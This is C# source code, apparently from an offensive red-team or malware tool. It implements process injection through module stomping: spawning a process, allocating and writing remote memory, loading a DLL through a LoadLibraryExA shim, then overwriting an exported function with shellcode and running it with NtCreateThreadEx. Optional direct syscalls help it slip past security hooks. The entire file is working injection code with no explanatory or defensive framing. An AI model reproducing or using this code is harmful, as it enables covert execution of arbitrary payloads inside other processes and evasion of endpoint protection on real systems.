public static bool CreateProcessA(string applicationName, string workingDirectory, uint creationFlags, Data.Win32.Kernel32.STARTUPINFOEX startupInfoEx, out Data.Win32.Kernel32.PROCESS_INFORMATION processInformation) { var pa = new Data.Win32.WinBase.SECURITY_ATTRIBUTES(); var ta = new Data.Win32.WinBase.SECURITY_ATTRIBUTES(); var pi = new Data.Win32.Kernel32.PROCESS_INFORMATION(); object[] parameters = { applicationName, null, pa, ta, false, creationFlags, IntPtr.Zero, workingDirectory, startupInfoEx, pi }; var result = (bool)Generic.DynamicApiInvoke(@"kernel32.dll", @"CreateProcessA", typeof(Delegates.CreateProcessA), ref parameters); if (!result) { processInformation = pi; } processInformation = (Data.Win32.Kernel32.PROCESS_INFORMATION)parameters[9]; return(result); }
private void MapAndStart(Data.Win32.Kernel32.PROCESS_INFORMATION pi) { _remoteMap = MapSection( pi.hProcess, Data.Win32.WinNT.PAGE_EXECUTE_READ, IntPtr.Zero); var patch = BuildEntryPatch(); var pSize = (IntPtr)patch.Size; var oldProtect = Native.NtProtectVirtualMemory( pi.hProcess, ref _pEntry, ref pSize, Data.Win32.WinNT.PAGE_READWRITE); _ = Native.NtWriteVirtualMemory( pi.hProcess, _pEntry, patch.Ptr, (uint)patch.Size); _ = Native.NtProtectVirtualMemory( pi.hProcess, ref _pEntry, ref pSize, oldProtect); Marshal.FreeHGlobal(patch.Ptr); if (_syscalls) { Syscall.NtResumeThread(pi.hThread, IntPtr.Zero); } else { Native.NtResumeThread(pi.hThread, IntPtr.Zero); } }
private bool LoadModule(Data.Win32.Kernel32.PROCESS_INFORMATION pi) { // Get address of LoadLibraryExA var kernel32 = Generic.GetPebLdrModuleEntry("kernel32.dll"); var loadLibraryEx = Generic.GetExportAddress(kernel32, "LoadLibraryExA"); // Generate Shim var shim = GenerateShim((long)loadLibraryEx); var moduleName = Encoding.ASCII.GetBytes(ModuleName); // Allocate memory regions var baseAddress = IntPtr.Zero; var regionSize = new IntPtr(moduleName.Length + 2); // this one to hold the module name var allocModule = Native.NtAllocateVirtualMemory( pi.hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, Data.Win32.WinNT.PAGE_READWRITE); baseAddress = IntPtr.Zero; regionSize = new IntPtr(shim.Length); // this one to hold the shim var allocShim = Native.NtAllocateVirtualMemory( pi.hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, Data.Win32.WinNT.PAGE_READWRITE); // Write memory var buffer = Marshal.AllocHGlobal(moduleName.Length); Marshal.Copy(moduleName, 0, buffer, moduleName.Length); Native.NtWriteVirtualMemory( pi.hProcess, allocModule, buffer, (uint)moduleName.Length); Marshal.FreeHGlobal(buffer); buffer = Marshal.AllocHGlobal(shim.Length); Marshal.Copy(shim, 0, buffer, shim.Length); Native.NtWriteVirtualMemory( pi.hProcess, allocShim, buffer, (uint)shim.Length); Marshal.FreeHGlobal(buffer); // Change the shim region from RW to RX var size = new IntPtr(shim.Length); Native.NtProtectVirtualMemory( pi.hProcess, ref allocShim, ref size, Data.Win32.WinNT.PAGE_EXECUTE_READ); // Load DLL into process var hThread = IntPtr.Zero; if (_syscalls) { Syscall.NtCreateThreadEx( ref hThread, Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, pi.hProcess, allocShim, allocModule, false, 0, 0, 0, IntPtr.Zero); } else { Native.NtCreateThreadEx( ref hThread, Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, pi.hProcess, allocShim, allocModule, false, 0, 0, 0, IntPtr.Zero); } // Wait for thread Win32.WaitForSingleObject(hThread, Data.Win32.WinNT.INFINITE); // Free memory regions size = IntPtr.Zero; Native.NtFreeVirtualMemory( pi.hProcess, ref allocModule, ref size, Data.Win32.Kernel32.MEM_RELEASE); Native.NtFreeVirtualMemory( pi.hProcess, ref allocShim, ref size, Data.Win32.Kernel32.MEM_RELEASE); using var process = Process.GetProcessById((int)pi.dwProcessId); return(process.Modules.Cast <ProcessModule>().Any(module => module.ModuleName.Equals(ModuleName))); }
private bool WriteAndExecuteShellcode(Data.Win32.Kernel32.PROCESS_INFORMATION pi, byte[] shellcode) { // Calculate offset from base to exported function var hModule = Generic.LoadModuleFromDisk(ModuleName); var export = Generic.GetExportAddress(hModule, ExportName); var offset = (long)export - (long)hModule; var targetAddress = IntPtr.Zero; using var process = Process.GetProcessById((int)pi.dwProcessId); foreach (ProcessModule module in process.Modules) { if (!module.ModuleName.Equals(ModuleName, StringComparison.OrdinalIgnoreCase)) { continue; } targetAddress = new IntPtr((long)module.BaseAddress + offset); break; } // Write and execute shellcode var buffer = Marshal.AllocHGlobal(shellcode.Length); Marshal.Copy(shellcode, 0, buffer, shellcode.Length); var size = new IntPtr(shellcode.Length); Native.NtProtectVirtualMemory( process.Handle, ref targetAddress, ref size, Data.Win32.WinNT.PAGE_READWRITE); Native.NtWriteVirtualMemory( process.Handle, targetAddress, buffer, (uint)shellcode.Length); Native.NtProtectVirtualMemory( process.Handle, ref targetAddress, ref size, Data.Win32.WinNT.PAGE_EXECUTE_READ); Marshal.FreeHGlobal(buffer); var hThread = IntPtr.Zero; if (_syscalls) { Syscall.NtCreateThreadEx( ref hThread, Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, process.Handle, targetAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } else { Native.NtCreateThreadEx( ref hThread, Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, process.Handle, targetAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } return(hThread != IntPtr.Zero); }
private static void CloseHandles(Data.Win32.Kernel32.PROCESS_INFORMATION pi) { Win32.CloseHandle(pi.hThread); Win32.CloseHandle(pi.hProcess); }